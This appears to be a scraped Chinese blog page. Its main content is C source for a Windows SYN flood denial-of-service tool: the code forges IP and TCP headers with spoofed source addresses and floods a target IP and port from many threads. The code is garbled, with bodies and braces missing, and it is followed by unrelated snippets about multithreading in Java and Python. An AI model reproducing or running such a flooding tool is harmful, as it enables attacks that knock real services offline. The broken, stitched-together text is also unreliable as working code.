#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#define seq 0x28376839
int threadnum,maxthread,port;
char *destip;//目標ip
void display(void) // 定義狀態提示函式
; printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
} //定義乙個tcphdr結構來存放tcp首部
typedef struct tcphdr
tcp_header;
//定義乙個iphdr來存放ip首部
typedef struct iphdr//ip首部
ip_header;
//tcp偽首部,用於進行tcp效驗和的計算,保證tcp效驗的有效性
struct
psd_header;
//計算效驗和函式,先把ip首部的效驗和字段設為0(ip_header.checksum=0)
//然後計算整個ip首部的二進位制反碼的和。
ushort checksum(ushort *buffer, int size)
if(size) cksum+=*(uchar*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (ushort)(~cksum);
}dword winapi synfloodthread(lpvoid lp)//synflood執行緒函式
//設定傳送超時
errorcode=setsockopt(sock,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
if(errorcode==socket_error)
//設定目標位址
memset(&sockaddr,0,sizeof(sockaddr));
sockaddr.sin_family=af_inet;
sockaddr.sin_addr.s_addr =inet_addr(destip);
fakeipnet=inet_addr(destip);
fakeiphost=ntohl(fakeipnet);
//填充ip首部
ipheader.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = ipproto_tcp;
ipheader.checksum =0;
ipheader.sourceip = htonl(fakeiphost+sendseq);
ipheader.destip = inet_addr(destip);
//填充tcp首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(seq+sendseq);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(tcp_header)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
psd_header.saddr=ipheader.sourceip;
psd_header.daddr=ipheader.destip;
psd_header.mbz=0;
psd_header.ptcl=ipproto_tcp;
psd_header.tcpl=htons(sizeof(tcpheader));
for(;;)
//end for
sleep(20);
interlockedexchangeadd((long *)&threadnum,-1);
return 0;
}void usage(char *name)
int main(int argc,char* argv)
usage(argv[1]);
int errorcode=0;
destip=argv[1];//取得目標主機ip
port=atoi(argv[2]);//取得目標埠號
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果執行緒數大於100則把執行緒數設定為100
wsadata wsadata;
if((errorcode=wsastartup(makeword(2,2),&wsadata))!=0)
printf("[start]...........\npress any key to stop!\n");
while(threadnum}wsacleanup();
printf("\n[stopd]...........\n");
return 0;
}
(40)多執行緒 實現多執行緒方法
建立執行緒用法 1.繼承thread,重寫run 方法,建立子類物件 a a new a 執行緒開始執行 a.start 2.實現runnable介面,實現run 方法,建立實現類物件 a a new a 建立 類物件 thread t new thread a 執行緒開始執行 t.start 上面...
執行緒基礎 實現多執行緒
public class thread01 extends thread public static void main string args public class thread02 implements runnable public static void main string args...
同步,多執行緒 ,多執行緒方式實現併發。
io請求幾乎不佔cpu的。同步請求相當於排隊買東西,乙個卡主了,其他的都結不了賬了。執行緒並不是越多越好,如果他特別多還不如同步高,所以對執行緒要有個限制,所以就出現了執行緒池,執行緒池在python3裡才有的,python2裡沒有的。建立程序的話是耗費很多資源的,建立執行緒是幾乎不耗費資源的。建立...